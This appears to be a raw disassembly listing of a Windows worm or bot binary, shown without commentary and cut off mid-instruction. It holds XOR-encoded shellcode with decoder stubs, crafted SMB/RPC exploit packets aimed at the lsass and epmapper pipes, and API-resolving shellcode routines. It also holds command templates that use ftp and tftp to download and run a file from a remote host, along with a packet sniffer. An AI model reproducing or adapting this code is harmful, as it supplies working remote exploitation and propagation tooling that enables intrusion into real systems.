5 dup(0) dd 6C213Ah, 5 dup(0) dd 6C243Ah, 5 dup(0) dd 6C253Ah, 5 dup(0) dd 782E3Ah, 5 dup(0) dd 78213Ah, 5 dup(0) dd 78243Ah, 5 dup(0) dd 78253Ah, 5 dup(0) dd 79732E3Ah, 6Eh, 4 dup(0) dd 7973213Ah, 6Eh, 4 dup(0) dd 7973243Ah, 6Eh, 4 dup(0) dd 7973253Ah, 6Eh, 4 dup(0) dd 4B444320h, 207965h, 4 dup(0) dd 4E494F4Ah, 2320h, 3 dup(0) dd 1, 4B43494Eh, 20h, 3 dup(0) dd 1, 5245504Fh, 20h, 3 dup(0) dd 1, 7265706Fh, 20h, 3 dup(0) dd 1, 20776F6Eh, 49206E61h, 4F204352h, 61726570h, 726F74h dd 1, 52455355h, 20h, 3 dup(0) dd 2, 53534150h, 20h, 3 dup(0) dd 2, 70796170h, 6C61h, 3 dup(0) dd 3, 50594150h, 4C41h, 3 dup(0) dd 3, 70796170h, 632E6C61h, 6D6Fh, 2 dup(0) dd 3, 50594150h, 432E4C41h, 4D4Fh, 2 dup(0) dd 3, 2D746553h, 6B6F6F43h, 3A6569h, 2 dup(0) dd 3, 6 dup(0) aHttp db 'HTTP',0 ; DATA XREF: ___:00426C74o align 4 off_4274D8 dd offset loc_505441+5 ; DATA XREF: ___:00426C70o off_4274DC dd offset byte_435249 ; DATA XREF: ___:00426C6Co off_4274E0 dd offset word_544F42 ; DATA XREF: ___:off_426C68o unk_4274E4 db 2 ; DATA XREF: sub_402688+2FCo db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 73h, 6Eh, 69h db 66h ; f db 66h, 2Eh, 70h db 1Fh db 6Ch, 1Fh, 67h db 29h ; ) db 20h, 2, 0BBh db 0BBh ; db 2, 2 dup(20h) aErrorRecvFaile db 'Error: recv() failed, returned: <%d>',0 align 4 unk_427528 db 2 ; DATA XREF: sub_402688+2ABo db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 73h, 6Eh, 69h db 66h ; f db 66h, 2Eh, 70h db 1Fh db 6Ch, 1Fh, 67h db 29h ; ) db 20h, 2, 0BBh db 0BBh ; db 2, 2 dup(20h) aSuspiciousSPac db 'Suspicious %s packet from: %s:%d - %s.',0 align 4 aPsniff db '[PSNIFF]',0 ; DATA XREF: sub_402688+235o align 4 unk_427578 db 2 ; DATA XREF: sub_402688+186o db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 73h, 6Eh, 69h db 66h ; f db 66h, 2Eh, 70h db 1Fh db 6Ch, 1Fh, 67h db 29h ; ) db 20h, 2, 0BBh db 0BBh ; db 2, 2 dup(20h) aErrorWsaioctlF db 'Error: WSAIoctl() failed, returned: <%d>.',0 align 10h unk_4275C0 db 2 ; DATA XREF: sub_402688+103o db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 73h, 6Eh, 69h db 66h ; f db 66h, 2Eh, 70h db 1Fh db 6Ch, 1Fh, 67h db 29h ; ) db 20h, 2, 0BBh db 0BBh ; db 2, 2 dup(20h) aErrorBindFaile db 'Error: bind() failed, returned: <%d>.',0 align 4 unk_427604 db 2 ; DATA XREF: sub_402688+85o db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 73h, 6Eh, 69h db 66h ; f db 66h, 2Eh, 70h db 1Fh db 6Ch, 1Fh, 67h db 29h ; ) db 20h, 2, 0BBh db 0BBh ; db 2, 2 dup(20h) aErrorSocketF_1 db 'Error: socket() failed, returned: <%d>.',0 dword_427648 dd 30B0005h, 10h, 48h, 7Fh, 16D016D0h, 0 ; DATA XREF: sub_402DD7+E1o ; sub_402DD7+21Bo dd 1, 10001h, 1A0h, 0 dd 0C0h, 46000000h, 0 dd 8A885D04h, 11C91CEBh, 8E89Fh, 6048102Bh, 2, 0 dword_427694 dd 3000005h, 10h, 3E8h, 0E5h, 3D0h, 40001h, 60005h, 1 ; DATA XREF: sub_402B84+123o dd 0 dd 0FD582432h, 496445CCh, 0AEDD70B0h, 0D2962C74h, 0D5E60h dd 1, 0 dd 0D5E70h, 2, 0D5E7Ch, 0 dd 10h, 0F1F19680h, 11CE4D2Ah, 20006AA6h, 0F4726EAFh, 0Ch dd 4252414Dh, 1, 0 dd 0BAADF00Dh, 0 dd 0BF4A8h, 2 dup(360h), 574F454Dh, 4, 1A2h, 0 dd 0C0h, 46000000h, 338h, 0 dd 0C0h, 46000000h, 0 dd 330h, 328h, 0 dd 81001h, 0CCCCCCCCh, 0C8h, 574F454Dh, 328h, 0D8h, 0 dd 2, 7, 4 dup(0) dd 0CD28C4h, 0CD2964h, 0 dd 7, 1B9h, 0 dd 0C0h, 46000000h, 1ABh, 0 dd 0C0h, 46000000h, 1A5h, 0 dd 0C0h, 46000000h, 1A6h, 0 dd 0C0h, 46000000h, 1A4h, 0 dd 0C0h, 46000000h, 1ADh, 0 dd 0C0h, 46000000h, 1AAh, 0 dd 0C0h, 46000000h, 7, 60h, 58h, 90h, 40h, 20h, 78h, 30h dd 1, 81001h, 0CCCCCCCCh, 50h, 2088B64Fh, 0FFFFFFFFh, 13h dup(0) dd 81001h, 0CCCCCCCCh, 48h, 660007h, 20906h, 0 dd 0C0h, 46000000h, 10h, 2 dup(0) dd 1, 0 dd 0C1978h, 58h, 60005h, 1, 9398D870h, 11D24F98h, 57BE3DA9h dd 0B2h, 310032h, 81001h, 0CCCCCCCCh, 80h, 0BAADF00Dh dd 4 dup(0) dd 144318h, 0 dd 2 dup(60h), 574F454Dh, 4, 1C0h, 0 dd 0C0h, 46000000h, 33Bh, 0 dd 0C0h, 46000000h, 0 dd 30h, 10001h, 317C581h, 4AE90E80h, 8AF19999h, 857A6F50h dd 2, 5 dup(0) dd 1, 81001h, 0CCCCCCCCh, 30h, 6E0078h, 0 dd 0DDAD8h, 2 dup(0) dd 0C2F20h, 2 dup(0) dd 3, 0 dd 3, 580046h, 0 dd 81001h, 0CCCCCCCCh, 10h, 2E0030h, 4 dup(0) dd 81001h, 0CCCCCCCCh, 68h, 0FFFF000Eh, 0B8B68h, 2, 3 dup(0) dword_4279F8 dd 20h, 0 ; DATA XREF: sub_402B84+136o dd 20h, 5C005Ch, 0 off_427A0C dd offset off_43005C ; DATA XREF: sub_402B84+15Do a12345611111111: unicode 0, <$\123456111111111111111.doc>,0 dd 0 dword_427A4C dd 81001h, 0CCCCCCCCh, 20h, 2D0030h, 0 ; DATA XREF: sub_402B84+174o dd 0C2A88h, 2, 1, 0C8C28h, 1, 7, 2 dup(0) aFxnbfxfxnbfxfx: ; DATA XREF: sub_402B84+45o unicode 0, <FXNBFXFXNBFXFXFXFX> dd 0FFFFFFFFh, 2 dup(7FFDE0CCh), 0 aRrrrrrrrrrrrrr db '' db '' db '',0 dword_427B5C dd 18759Fh ; DATA XREF: sub_402B84+104o dword_427B60 dd 100139Dh ; DATA XREF: sub_402B84+FBo asc_427B64: ; DATA XREF: sub_4029E9+1Co ; sub_402ACC+16o unicode 0, <\\>,0 align 4 off_427B6C dd offset dword_49005C ; DATA XREF: sub_4029E9+Co ; sub_402ACC+Bo dd offset off_430050 dd 24h unk_427B78 db 2 ; DATA XREF: sub_402DD7+299o db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 74h, 66h, 74h db 70h ; p db 2Eh, 70h, 1Fh db 6Ch ; l db 1Fh, 67h, 29h db 20h db 2, 2 dup(0BBh) db 2 aTransferComple db ' transfer complete to IP: %s',0 align 10h aSPipeEpmapper db '\\%s\pipe\epmapper',0 ; DATA XREF: sub_402DD7+41o align 8 jmp short loc_427BDA ; =============== S U B R O U T I N E ======================================= sub_427BCA proc far ; CODE XREF: sub_427BCA:loc_427BDAp pop ebx dec ebx xor ecx, ecx mov cx, 125h loc_427BD2: ; CODE XREF: sub_427BCA+Cj xor byte ptr [ebx+ecx], 99h loop loc_427BD2 jmp short loc_427BDF ; --------------------------------------------------------------------------- loc_427BDA: ; CODE XREF: ___:00427BC8j call near ptr sub_427BCA loc_427BDF: ; CODE XREF: sub_427BCA+Ej jo short loc_427C43 cdq cdq cdq mov ch, 38h test eax, 12999999h fst dword ptr [ebp+3485E912h] adc dh, cl xchg eax, ecx adc ch, [esi-0Dh] popf sal byte ptr [ecx+2], 99h cdq cdq jnp short loc_427C61 icebp stosb stosd cdq cdq icebp out dx, al jmp far ptr 128Fh:66CDC6ABh ; --------------------------------------------------------------------------- db 71h dd 71C09DF3h, 9999991Bh, 7518607Bh, 99999809h, 9898F1CDh dd 0CF669999h, 0C9C9C989h, 0D9C9D9C9h, 8DCF66C9h, 0E6F14112h dd 0F1989999h, 4B9D999Bh ; --------------------------------------------------------------------------- adc dl, [ebp-0Dh] loc_427C43: ; CODE XREF: sub_427BCA:loc_427BDFj mov eax, ecx retf 0CF66h ; --------------------------------------------------------------------------- dd 0EC591C81h, 0F4FAF1D3h, 0FF1099FDh, 0CD751AA9h, 0F3BDA514h dd 7B32C08Ch db 64h ; --------------------------------------------------------------------------- loc_427C61: ; CODE XREF: sub_427BCA+35j pop edi fnstsw word ptr [ebp-22982277h] mov ebp, 0BDC510A4h rcl dword ptr [eax], 1 lds edi, [ebp-423AEF2Bh] leave adc al, 0DDh mov ebp, 0C8C9CD89h enter 0FFFFF3C8h, 98h enter 66C8h, 0EFh test eax, 9DCF66C8h adc dl, [ebp-0Dh] db 66h, 66h test al, 66h iret sub_427BCA endp ; sp-analysis failed ; --------------------------------------------------------------------------- xchg eax, ecx retf 0CF66h ; --------------------------------------------------------------------------- dw 6685h dd 0CFC895CFh, 12A5DC12h, 9AE1B1CDh, 0EB12CB4Ch, 0AA6C9AB9h dd 34D8D050h, 42AA5C9Ah, 0A3892796h, 5891ED4Fh, 439A9452h dd 0A26872D9h, 0C37EEC86h, 9ABDC312h, 9512FF44h, 85C312D2h dd 9D12449Ah, 325C9A12h, 715AC0C7h, 66666699h, 7597D717h dd 8F2A67EBh, 579C4034h, 0F9795776h, 0A2657452h, 346C9040h dd 0F9336075h, 0E05FE07Eh, 0 ; --------------------------------------------------------------------------- loc_427D08: ; DATA XREF: sub_403249+156o ; sub_403249+212o jmp short loc_427D1A ; =============== S U B R O U T I N E ======================================= sub_427D0A proc near ; CODE XREF: sub_427D0A:loc_427D1Ap pop edx dec edx xor ecx, ecx mov cx, 17Dh loc_427D12: ; CODE XREF: sub_427D0A+Cj xor byte ptr [edx+ecx], 99h loop loc_427D12 jmp short loc_427D1F ; --------------------------------------------------------------------------- loc_427D1A: ; CODE XREF: ___:loc_427D08j call sub_427D0A loc_427D1F: ; CODE XREF: sub_427D0A+Ej jo short near ptr dword_427C98+1Eh cwde cdq cdq retn sub_427D0A endp ; sp-analysis failed ; --------------------------------------------------------------------------- db 0FDh, 38h, 0A9h dd 12999999h, 0E91295D9h, 0D9123485h, 12411291h, 0ED12A5EAh dd 6A9AE187h, 9AB9E712h, 8DD71262h, 0CECF74AAh, 9AA612C8h dd 0F36B1262h, 3F6AC097h, 0C6C091EDh, 0DC9D5E1Ah, 0C6C0707Bh dd 125412C7h, 5A9ABDDFh, 589A7848h, 12FF50AAh, 85DF1291h dd 78585A9Ah, 12589A9Bh, 125A9A99h, 1A6E1263h, 4912975Fh dd 71C09AF3h, 9999991Eh, 0CB945F1Ah, 65CE66CFh, 0F34112C3h dd 0ED71C09Ch, 0C9999999h, 0F3C9C9C9h, 669BF398h, 411275CEh dd 999B9E5Eh dword_427DB8 dd 59AA4B9Dh, 0F39DDE10h, 66CACE89h, 98F369CEh, 6DCE66CAh ; DATA XREF: sub_403249+105o dd 66CAC9C9h, 491261CEh, 12DD751Ah, 0F359AA6Dh, 9D10C089h dd 10627B17h, 0CF10A1CFh, 0D9CF10A5h, 0B5DF5EFFh, 0DE149898h dd 0AACFC989h, 0C8C8C850h, 0C8C898F3h, 0FAA5DE5Eh, 1499FDF4h dd 0C8C9A5DEh, 0CB79CE66h, 0CA65CE66h, 0C965CE66h, 0AA7DCE66h dd 591C3559h, 0CBC860ECh, 4B66CACFh, 7B32C0C3h, 5A59AA77h dd 66677671h, 0EDFCDE66h, 0FAF6EBC9h, 0EBFDFDD8h, 99EAEAFCh dd 0F8FCEBDAh, 0EBC9FCEDh, 0EAFCFAF6h, 0DC99D8EAh, 0CDEDF0E1h dd 0F8FCEBF1h, 0F6D599FDh, 0F0D5FDF8h, 0EBF8EBFBh, 0EE99D8E0h dd 0AAC6ABEAh, 0CACE99ABh, 0FAF6CAD8h, 0D8EDFCF2h, 0F7F0FB99h dd 0F0F599FDh, 0F7FCEDEAh, 0FAFAF899h, 99EDE9FCh, 0EAF6F5FAh dd 0FAF6EAFCh, 99EDFCF2h, 0 dword_427EA0 dd 85000000h, 424D53FFh, 72h, 0C8531800h, 3 dup(0) ; DATA XREF: ___:0040370Do dd 0FEFF0000h, 0 dd 2006200h aPcNetworkProgr db 'PC NETWORK PROGRAM 1.0',0 db 2 db 4Ch ; L db 41h, 4Eh, 4Dh db 41h ; A db 4Eh, 31h, 2Eh db 30h ; 0 align 2 dw 5702h aIndowsForWorkg db 'indows for Workgroups 3.1a',0 db 2 dd 2E314D4Ch, 30305832h, 4C020032h, 414D4E41h, 312E324Eh dd 544E0200h, 204D4C20h, 32312E30h, 0 dword_427F2C dd 0A4000000h, 424D53FFh, 73h, 0C8071800h, 3 dup(0) ; DATA XREF: ___:00403739o dd 0FEFF0000h, 100000h, 0A400FF0Ch, 0A110400h, 0 dd 20000000h, 0 dd 0D400h, 4E006980h, 534D4C54h, 1005053h, 97000000h, 0E00882h dd 4 dup(0) aWindows2000219: unicode 0, <Windows 2000 2195>,0 aWindows20005_0: unicode 0, <Windows 2000 5.0>,0 align 8 dword_427FD8 dd 0DA000000h, 424D53FFh, 73h, 0C8071800h, 3 dup(0) ; DATA XREF: ___:00403760o dd 0FEFF0000h, 200800h, 0DA00FF0Ch, 0A110400h, 0 dd 57000000h, 0 dd 0D400h, 4E009F80h, 534D4C54h, 3005053h, 1000000h, 46000100h dd 0 dd 47000000h, 0 dd 40000000h, 0 dd 40000000h, 6000000h, 40000600h, 10000000h, 47001000h dd 15000000h, 48E0888Ah, 44004F00h, 19810000h, 0E4F27A6Ah dd 0AF281C49h, 10742530h, 575367h, 6E0069h, 6F0064h, 730077h dd 320020h, 300030h, 200030h, 310032h, 350039h, 570000h dd 6E0069h, 6F0064h, 730077h, 320020h, 300030h, 200030h dd 2E0035h, 30h, 0 dword_4280B8 dd 5C000000h, 424D53FFh, 75h, 0C8071800h, 3 dup(0) ; DATA XREF: sub_403249+58o dd 0FEFF0000h, 300800h, 5C00FF04h, 1000800h, 3100h, 5C005Ch dd 390031h, 2E0032h, 360031h, 2E0038h, 2E0031h, 310032h dd 5C0030h, 500049h aC: ; DATA XREF: sub_403249+8Ao unicode 0, <C$>,0 a????? db '?????',0 dd 0 dword_42811C dd 64000000h, 424D53FFh, 0A2h, 0C8071800h, 3 dup(0) ; DATA XREF: sub_403249+2AAo dd 4DC0800h, 400800h, 0DE00FF18h, 0E00DEh, 16h, 0 dd 2019Fh, 3 dup(0) dd 3, 1, 40h, 2, 1103h, 6C005Ch, 610073h, 700072h, 63h dd 0 dword_428188 dd 9C000000h, 424D53FFh, 25h, 0C8071800h, 3 dup(0) ; DATA XREF: sub_403249+2D1o dd 4DC0800h, 500800h, 48000010h, 0 dd 4, 2 dup(0) dd 48005400h, 2005400h, 2600h, 10005940h, 50005Ch, 500049h dd 5C0045h, 0 dd 30B0005h, 10h, 48h, 1, 10B810B8h, 0 dd 1, 10000h, 3919286Ah, 11D0B10Ch, 0C000A89Bh, 0F52ED94Fh dd 0 dd 8A885D04h, 11C91CEBh, 8E89Fh, 6048102Bh, 2, 0 dword_42822C dd 0F40C0000h, 424D53FFh, 25h, 0C8071800h, 3 dup(0) ; DATA XREF: sub_403249+3B0o dd 4DC0800h, 600800h, 0A0000010h, 0Ch, 4, 2 dup(0) dd 0A0005400h, 200540Ch, 2600h, 100CB140h, 50005Ch, 500049h dd 5C0045h, 0 dd 3000005h, 10h, 0CA0h, 1, 0C88h, 90000h, 3ECh, 0 dd 3ECh, 0 off_4282AC dd offset loc_401493+2 ; DATA XREF: sub_403249+3DEo dd 3, 40707Ch, 1, 0 dd 1, 0 dd 1, 0 dd 1, 0 dd 1, 0 dd 1, 0 dd 1, 0 dd 1, 0 dd offset loc_407079+3 dd 1, 0 dd 1, 0 dd offset loc_407079+3 dd 1, 0 dd 1, 0 dd offset loc_407079+3 dd 1, 0 dd 1, 0 dd 138578h, 0E9A65BABh, 0 dword_428340 dd 0F8100000h, 424D53FFh, 2Fh, 0C8071800h, 3 dup(0) ; DATA XREF: sub_403249+306o dd 0FEFF0800h, 600800h, 0DE00FF0Eh, 4000DEh, 0FF000000h dd 8FFFFFFh, 10B800h, 4010B800h, 0 dd 0EE10B900h, 1000005h, 10h, 10B8h, 1, 200Ch, 90000h dd 0DADh, 0 dd 0DADh, 0 dword_4283AC dd 0D80F0000h, 424D53FFh, 25h, 0C8071800h, 3 dup(0) ; DATA XREF: sub_403249+331o dd 1180800h, 700800h, 84000010h, 0Fh, 4, 2 dup(0) dd 84005400h, 200540Fh, 2600h, 0F9540h, 50005Ch, 500049h dd 5C0045h, 0 dd 2000005h, 10h, 0F84h, 1, 0F6Ch, 90000h, 0 dword_428420 dd 0 ; DATA XREF: sub_403249+35Fo dd offset loc_40A899+1 dd 1, 0 dd 1, 0 dd 1, 0 dd 1, 0 dd 1, 0 dd 1, 0 dd 1, 0 dd 1, 0 dd offset loc_40A899+1 dd 1, 0 dd 1, 0 dd offset loc_40A899+1 dd 1, 0 dd 1, 0 dd offset loc_40A899+1 dd 1, 0 dd 1, 3 dup(0) aWinxpProfessio db 'WinXP Professional [universal] lsass.exe ',0 align 10h dword_4284E0 dd 1004600h ; DATA XREF: sub_403249+140r ; sub_403249+245r dd 1, 326E6957h, 7250206Bh, 7365666Fh, 6E6F6973h, 20206C61h dd 755B2020h, 6576696Eh, 6C617372h, 656E205Dh, 70617274h dd 6C6C642Eh, 2 dup(0) dd 7515123Ch, 2, 326E6957h, 6441206Bh, 636E6176h, 53206465h dd 65767265h, 535B2072h, 205D3450h, 20202020h, 656E2020h dd 70617274h, 6C6C642Eh, 2 dup(0) dd 751C123Ch, 0Fh dup(0) dword_428598 dd 0A0D7325h, 0 ; DATA XREF: sub_4030E8+102o ; sub_405144+DFo ... aEchoOpenSDOEch db 'echo open %s %d > o&echo user 1 1 >> o &echo get %s >> o &echo qu' ; DATA XREF: sub_4030E8+BEo db 'it >> o &ftp -n -s:o &del /F /Q o &%s',0Dh,0Ah,0 align 4 aTftpISGetS db 'tftp -i %s get %s',0Dh,0Ah,0 ; DATA XREF: sub_4030E8+97o ; --------------------------------------------------------------------------- loc_428620: ; DATA XREF: sub_403249+177o jmp short loc_428628 ; --------------------------------------------------------------------------- jmp short loc_42862A ; --------------------------------------------------------------------------- align 8 loc_428628: ; CODE XREF: ___:loc_428620j ; DATA XREF: sub_403249+27o pop esp pop esp loc_42862A: ; CODE XREF: ___:00428622j and eax, 70695C73h arpl [eax+eax], sp ; --------------------------------------------------------------------------- dw 0 dword_428634 dd 1CEC8166h ; DATA XREF: sub_403249+Dr dword_428638 dd 0E4FF07h ; DATA XREF: sub_403249+16r byte_42863C db 90h ; DATA XREF: sub_403A90+B2o db 42h, 90h, 42h db 90h dd offset word_429042 align 4 dword_428648 dd 10FF8h, 0 ; DATA XREF: sub_403A90+6Ao dword_428650 dd 10FF8h ; DATA XREF: sub_403A90+79o dword_428654 dd 7FFDF020h, 0 ; DATA XREF: sub_403A90+162o dword_42865C dd 424D53FFh, 72h, 0C8531800h, 3 dup(0) ; DATA XREF: sub_403EBA+7Bo dd 13370000h, 0 dd 2006200h aPcNetworkPro_0 db 'PC NETWORK PROGRAM 1.0',0 db 2 db 4Ch ; L db 41h, 4Eh, 4Dh db 41h ; A db 4Eh, 31h, 2Eh db 30h ; 0 align 2 dw 5702h aIndowsForWor_0 db 'indows for Workgroups 3.1a',0 db 2 dd 2E314D4Ch, 30305832h, 4C020032h, 414D4E41h, 312E324Eh dd 544E0200h, 204D4C20h, 32312E30h, 0 dword_4286E4 dd 424D53FFh, 73h, 0C8071800h, 3 dup(0) ; DATA XREF: sub_403EBA+34o dd 13370000h, 0 dd 0FF0Ch, 0A110400h, 2 dup(0) dword_428714 dd 0 ; DATA XREF: sub_403EBA+44o dd 800000D4h, 0 unk_428720 db 81h ; ; DATA XREF: sub_403F94+Ao db 2 dup(0), 44h aCkfdenecfdeffc db ' CKFDENECFDEFFCFGEFFCCACACACACACA',0 aCacacacacacaca db ' CACACACACACACACACACACACACACACAAA',0 dd 0 byte_42876C db 41h ; DATA XREF: sub_404032+107r aBcdefghijklmno db 'BCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/',0 align 10h ; =============== S U B R O U T I N E ======================================= sub_4287B0 proc near ; DATA XREF: ___:0040430Fo push ebx push esi push edi sub sp, 80h mov esi, esp call sub_4288AC push dword ptr [esi] push 63D61209h call sub_4288C2 mov [esi+8], eax call sub_428875 push dword ptr [esi+4] push 0CA2BD06Bh call sub_4288C2 mov [esi+0Ch], eax call sub_428827 push dword ptr [esi+4] push 4C0297FAh call sub_4288C2 xor ebx, ebx push 410h push ebx call eax mov ebx, eax push esi mov esi, [esi+10h] mov edi, eax mov ecx, 410h rep movsb pop esi xor eax, eax push eax push eax push eax push ebx push eax push eax call dword ptr [esi+0Ch] mov eax, [esi+8] add sp, 80h pop edi pop esi pop ebx jmp eax sub_4287B0 endp ; =============== S U B R O U T I N E ======================================= sub_428827 proc near ; CODE XREF: sub_4287B0+33p var_20 = dword ptr -20h var_14 = dword ptr -14h pusha call sub_428850 mov eax, [esp+20h+var_14] lea ebx, [eax+7Ch] add dword ptr [ebx+3Ch], 5 add dword ptr [ebx+28h], 1000h and dword ptr [ebx+28h], 0FFFFF000h mov eax, [esp+20h+var_20] add esp, 14h push eax xor eax, eax retn sub_428827 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_428850 proc near ; CODE XREF: sub_428827+1p xor edx, edx push dword ptr fs:[edx] mov fs:[edx], esp xor ebx, ebx mov eax, 42904290h loc_42885F: ; CODE XREF: sub_428850+1Aj xor ecx, ecx mov cl, 2 mov edi, ebx repe scasd jz short loc_42886C inc ebx jmp short loc_42885F ; --------------------------------------------------------------------------- loc_42886C: ; CODE XREF: sub_428850+17j mov [esi+10h], edi pop dword ptr fs:[edx] pop eax popa retn sub_428850 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_428875 proc near ; CODE XREF: sub_4287B0+1Ep pusha mov edi, 7FFDF020h mov ebx, [edi] mov eax, [esi+8] mov [edi], eax mov edi, [edi-8] add edi, 178h mov ecx, edi loc_42888D: ; CODE XREF: sub_428875+1Ej cmp [ecx], ebx jz short loc_428895 mov ecx, [ecx] jmp short loc_42888D ; --------------------------------------------------------------------------- loc_428895: ; CODE XREF: sub_428875+1Aj mov edx, edi loc_428897: ; CODE XREF: sub_428875+2Aj cmp [edx+4], ebx jz short loc_4288A1 mov edx, [edx+4] jmp short loc_428897 ; --------------------------------------------------------------------------- loc_4288A1: ; CODE XREF: sub_428875+25j mov [ecx], edx mov [edx+4], ecx mov byte ptr [ebx-3], 1 popa retn sub_428875 endp ; =============== S U B R O U T I N E ======================================= sub_4288AC proc near ; CODE XREF: sub_4287B0+Ap mov eax, ds:7FFDF00Ch mov eax, [eax+1Ch] mov ebx, [eax+8] mov [esi], ebx mov eax, [eax] mov eax, [eax+8] mov [esi+4], eax retn sub_4288AC endp ; =============== S U B R O U T I N E ======================================= sub_4288C2 proc near ; CODE XREF: sub_4287B0+16p ; sub_4287B0+2Bp ... var_4 = dword ptr -4 arg_0 = dword ptr 4 arg_4 = dword ptr 8 pusha mov ebp, [esp+20h+arg_4] mov eax, [ebp+3Ch] mov edx, [ebp+eax+78h] add edx, ebp mov ecx, [edx+18h] mov ebx, [edx+20h] add ebx, ebp loc_4288D8: ; CODE XREF: sub_4288C2+33j jecxz short loc_428912 dec ecx mov esi, [ebx+ecx*4] add esi, ebp xor edi, edi xor eax, eax cld loc_4288E5: ; CODE XREF: sub_4288C2+2Dj lodsb cmp al, ah jz short loc_4288F1 ror edi, 0Dh add edi, eax jmp short loc_4288E5 ; --------------------------------------------------------------------------- loc_4288F1: ; CODE XREF: sub_4288C2+26j cmp edi, [esp+20h+arg_0] jnz short loc_4288D8 mov ebx, [edx+24h] add ebx, ebp mov cx, [ebx+ecx*2] mov ebx, [edx+1Ch] add ebx, ebp mov eax, [ebx+ecx*4] add eax, ebp mov [esp+20h+var_4], eax popa retn 8 ; --------------------------------------------------------------------------- loc_428912: ; CODE XREF: sub_4288C2:loc_4288D8j ; sub_4288C2:loc_428912j jmp short loc_428912 sub_4288C2 endp ; --------------------------------------------------------------------------- align 8 ; =============== S U B R O U T I N E ======================================= sub_428918 proc near ; DATA XREF: ___:004042BFo arg_0 = dword ptr 4 add esp, 0FFFFF254h cld call sub_42896A mov eax, [ebp+3Ch] mov edi, [ebp+eax+78h] add edi, ebp mov ecx, [edi+18h] mov ebx, [edi+20h] add ebx, ebp loc_428935: ; CODE XREF: sub_428918+38j jecxz short loc_428965 dec ecx mov esi, [ebx+ecx*4] add esi, ebp xor eax, eax cdq loc_428940: ; CODE XREF: sub_428918+32j lodsb test al, al jz short loc_42894C ror edx, 0Dh add edx, eax jmp short loc_428940 ; --------------------------------------------------------------------------- loc_42894C: ; CODE XREF: sub_428918+2Bj cmp edx, [esp+arg_0] jnz short loc_428935 mov ebx, [edi+24h] add ebx, ebp mov cx, [ebx+ecx*2] mov ebx, [edi+1Ch] add ebx, ebp mov ebx, [ebx+ecx*4] add ebx, ebp loc_428965: ; CODE XREF: sub_428918:loc_428935j mov [esp+arg_0], ebx retn sub_428918 endp ; =============== S U B R O U T I N E ======================================= sub_42896A proc near ; CODE XREF: sub_428918+7p ; FUNCTION CHUNK AT 004289A2 SIZE 00000007 BYTES xor eax, eax mov eax, fs:[eax+30h] test eax, eax js short loc_428983 mov eax, [eax+0Ch] mov esi, [eax+1Ch] lodsd mov ebp, [eax+8] jmp loc_42898E ; --------------------------------------------------------------------------- loc_428983: ; CODE XREF: sub_42896A+8j mov eax, [eax+34h] add eax, 7Ch mov ebp, [eax+3Ch] loc_42898E: ; CODE XREF: sub_42896A+14j pop edi xor esi, esi pusha push esi jmp short loc_4289A2 sub_42896A endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_428995 proc near ; CODE XREF: sub_42896A:loc_4289A2p push 60E0CEEFh push 0E8AFE98h push edi jmp edi sub_428995 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42896A loc_4289A2: ; CODE XREF: sub_42896A+29j call sub_428995 loc_4289A7: ; DATA XREF: sub_403A35+1Bo ; sub_40EE72+822o add [ebx], ah ; END OF FUNCTION CHUNK FOR sub_42896A ; --------------------------------------------------------------------------- db 3 dup(0) dword_4289AC dd 60h ; DATA XREF: sub_403A90+320o dword_4289B0 dd 62B0606h, 2050501h, 0A0h ; DATA XREF: sub_403A90+2F5o dword_4289BC dd 30h ; DATA XREF: sub_403A90+2CAo ; ___:0042FA18o dword_4289C0 dd 0A1h ; DATA XREF: sub_403A90+29Fo dword_4289C4 dd 3 ; DATA XREF: sub_403A90+246o aCccc db 'CCCC',0 ; DATA XREF: sub_403A90+153o align 10h loc_4289D0: ; DATA XREF: sub_403A90+E8o jmp short near ptr dword_4289D8 ; --------------------------------------------------------------------------- align 8 dword_4289D8 dd 0 ; CODE XREF: ___:loc_4289D0j aCmdCEchoOpenSD db 'cmd /c echo open %s %d >> ii &echo user 1 1 >> ii &echo get %s >>' ; DATA XREF: ___:004042E4o ; sub_404F9A+92o db ' ii &echo bye >> ii &ftp -n -v -s:ii &del ii &%s',0Dh,0Ah,0 dword_428A50 dd 0E983C933h, 0D9EED9AFh, 5BF42474h ; DATA XREF: ___:00404BFFo ; --------------------------------------------------------------------------- loc_428A5C: ; CODE XREF: ___:00428A66j xor dword ptr [ebx+13h], 6AD31EBBh sub ebx, 0FFFFFFFCh loop loc_428A5C inc edi jz short loc_428AA3 and eax, 952CE753h inc esp jle short loc_428ACB push es lahf cmp bl, [eax+2Fh] xchg edx, [ebp+1FC36FAFh] cmp al, 0E1h ; --------------------------------------------------------------------------- dd 355806F4h, 89381F9Bh, 5E58578Bh, 5B3D1F30h, 0EE7F877Bh dd 0ABD46A7Bh, 0A8D21371h, 3EE8EA50h ; --------------------------------------------------------------------------- lahf cmps byte ptr ss:[esi], byte ptr es:[edi] loc_428AA3: ; CODE XREF: ___:00428A69j mov [eax], esi inc ecx imul dword ptr [ebx+50h] js short near ptr loc_428B02+1 lock xchg ax, bp ; --------------------------------------------------------------------------- dw 768Ch dd 46D0F5BAh, 4EBF9730h, 5B107FA7h, 2A587A7Bh, 6693958Bh dd 0C7CF6E30h ; --------------------------------------------------------------------------- loc_428AC8: ; CODE XREF: ___:00428AF5j xor [esi-25h], bl loc_428ACB: ; CODE XREF: ___:00428A71j xor al, 0D3h nop popf db 64h push edi dec esi sub al, 0BCh mov al, ch mov ch, 39h fnsave byte ptr [esi-20h] pop eax shr dword ptr [ecx-60h], cl pop eax in al, 4Ah sub al, 0BAh loc_428AE4: ; CODE XREF: ___:00428B17j rcl ebp, cl db 3Eh xchg eax, esi or byte ptr [esi+2Ch], 0BCh in al, 97h db 36h or al, 3Ah rep fld tbyte ptr [eax-12h] jz short loc_428AC8 xchg eax, ebp imul esi, 